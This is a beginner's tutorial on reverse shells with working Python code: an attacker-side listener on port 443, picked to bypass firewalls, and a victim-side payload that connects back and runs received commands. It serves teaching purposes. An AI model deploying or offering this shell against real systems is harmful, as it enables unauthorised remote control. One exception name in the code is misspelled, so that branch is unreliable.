Reverse Shell Theory for beginners
oussama ben hadj dahman
Cyber Security Expert @Honoris |CO-FOUNDER COINER IMPACT | ISO 27001 Lead Implementer |SC-900|AI-900| CPT| CDFE | CC ISC2 |DFE| cyber security instructor
A reverse shell is a shell session established on a connection initiated from a remote machine, not from the attacker’s host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack. Reverse shells can also work across a NAT or firewall. One of the most known frameworks that ethical hackers use in order to create and communicate with a reverse shell is MSFVenom and MSFconsole.
How does it work?
To understand the mechanism I decided to write a simple reverse shell in python in order to explain the basics of the reverse shell theory.
Requirements
To do so we need these common python libraries:
socket:
This module provides access to the BSD socket interface. It is available on all modern Unix systems, Windows, macOS, and probably additional platforms. The Python interface is a straightforward transliteration of the Unix system call and library interface for sockets to Python’s object-oriented style: the socket() function returns a socket object whose methods implement the various socket system calls. Parameter types are somewhat higher-level than in the C interface: as with read() and write() operations on Python files, buffer allocation on receive operations is automatic, and buffer length is implicit on send operations.
OS:
This module provides a portable way of using operating system-dependent functionality. We are going to use this library in order to execute the commands sent by the attacker on the victim's machine
sys:
Python sys module has several methods and variables that can alter various aspects of the Python runtime environment. It permits operating on the interpreter by giving access and information about the constants, variables, and functions that have a strong interaction with the interpreter.
subprocess:
The subprocess module allows you to spawn new processes, connect to their input/output/error pipes, and obtain their return codes.
Code explication
server.py
This is the script the hacker will be running on his machine/server this code is going to accept and establish communication with the client-side.
Coding the server-side we only need the socket library.
server_host= "0.0.0.0"
server_port= 443
data_size = 1024 * 128
SEPARATOR = "<sep>"
cyber = socket.socket()
As you can understand from the variable names the server_host is the IP address of our server/attacker_machine we used the IP 0.0.0.0 in order to make the server reachable through all the IPv4 addresses of the server. For the server_port I used port 443. We can use any port we want but ports 80 and 443 are widely used to bypass firewalls. data_size is the maximum amount of data that the client can send to the server and vice-versa. SEPARATOR is the separation between the data sent or received.
then I created a socket and I called it cyber this is what we are going to use in the second part of our code.
Let's bind the socket that we created to our server IP and port that we initiated in the first two commands.
领英推荐
cyber.bind((server_host,server_port))
One of the most important parts of creating such a server is that it should have the ability to listen to and accept incoming requests that is why we need these two lines:
cyber.listen(10)
client_socket, client_ip = cyber.accept()
the listen function will allow us to listen to the incoming connections and the parameter 10 I used is the maximum length to which the queue of pending connections for the socket may grow. That means if we receive 12 requests before we accept the connection then 2 of these requests will be dropped. The second line means that we accepted the connection from the client (our victim machine) and we stored the victim_socket and the victim_adress in two different variables.
print(f"{client_ip[0]}:{client_ip[1]} Connected!")
This output will have the following format IP:PORT connected! The first step we will do after having a connected client is to try and get the working directory on the victim's devices this is why we will use the following code:
cmd = client_socket.recv(data_size).decode()
print("[+] Current working directory:", cmd)
A lot of people will be asked why I used the decode function will because we need to encode the data in bytes to be sent through the victim socket. The main process of sending commands to the victim's device will be in this part of the code:
while True:
command = input(f"{cmd}~$ ")
if not command.strip():
continue
client_socket.send(command.encode())
if command.lower() == "exit":
break
output = client_socket.recv(data_size).decode()
results,cmd = output.split(SEPARATOR)
print(results)
basically what we are doing is that we are verifying if the command which is the input of the hacker is not blank if it's the case then we will encode the command and send it to the victim. If the command in lower case is exit then we will break out which means we will shut down the server and then the communication with the client will die. If the process is executed correctly then we can receive data from the victim and output. This is what the last 3 lines of code are doing on our server code.
payload.py
The payload is the portion of the malware which performs malicious action. In our case, the payload is the script that will be running on the victim's device.
let's start by importing the needed libraries and setting up the variables we will use in order to establish the communication with the attacker's server.
server_host = #server_IP
server_port = 443
data_size = 1024 * 128
SEPARATOR = "<sep>"
victim = socket.socket()
victim.connect((server_host,server_port))
This is made for educational purposes and the main goal is to explain the theory behind revere shells this is why we can see that the hacker's IP will be in plain text. In real-life scenarios, the payload is obfuscated so it will be so hard to identify the hacker's IP. For this part, the only difference we got from the server code is in the last line victim. connect and not bind because the victim will try to connect on the server we already created. Well, the server is waiting for our working directory which is why we should send it first to do that we will use the OS library to run a local command which is cwd the current working directory and we will send it through the socket this is done by the following code:
cmd = os.getcwd()
victim.send(cmd.encode())
the main job of the payload is that it will execute the commands sent by the attacker to do so we need to accept the received data using this line of code:
command = victim.recv(data_size).decode()
splited_command= command.split()
all what we have to do is to verify that the command is not blank, if it's an exit then we will shut down the communication then we will store the output of the executed commands and send it back to the server. All of this is made possible by this code:
while True:
command = victim.recv(data_size).decode()
splited_command= command.split()
if command.lower() == "exit":
break
if splited_command[0].lower() == "cd":
try:
os.chdir(''.join(splited_command[1:]))
except FileNotFounfError as e:
output = str(e)
else:
output = ""
else:
output = subprocess.getoutput(command)
cmd = os.getcwd()
message = f"{output}{SEPARATOR}{cmd}"
victim.send(message.encode())
victim.close()
author: cybereagle2001 (Oussama Ben Hadj Dahman)
Used references : pythoncode - acunetix - docs.python - stackoverflow -wikipedia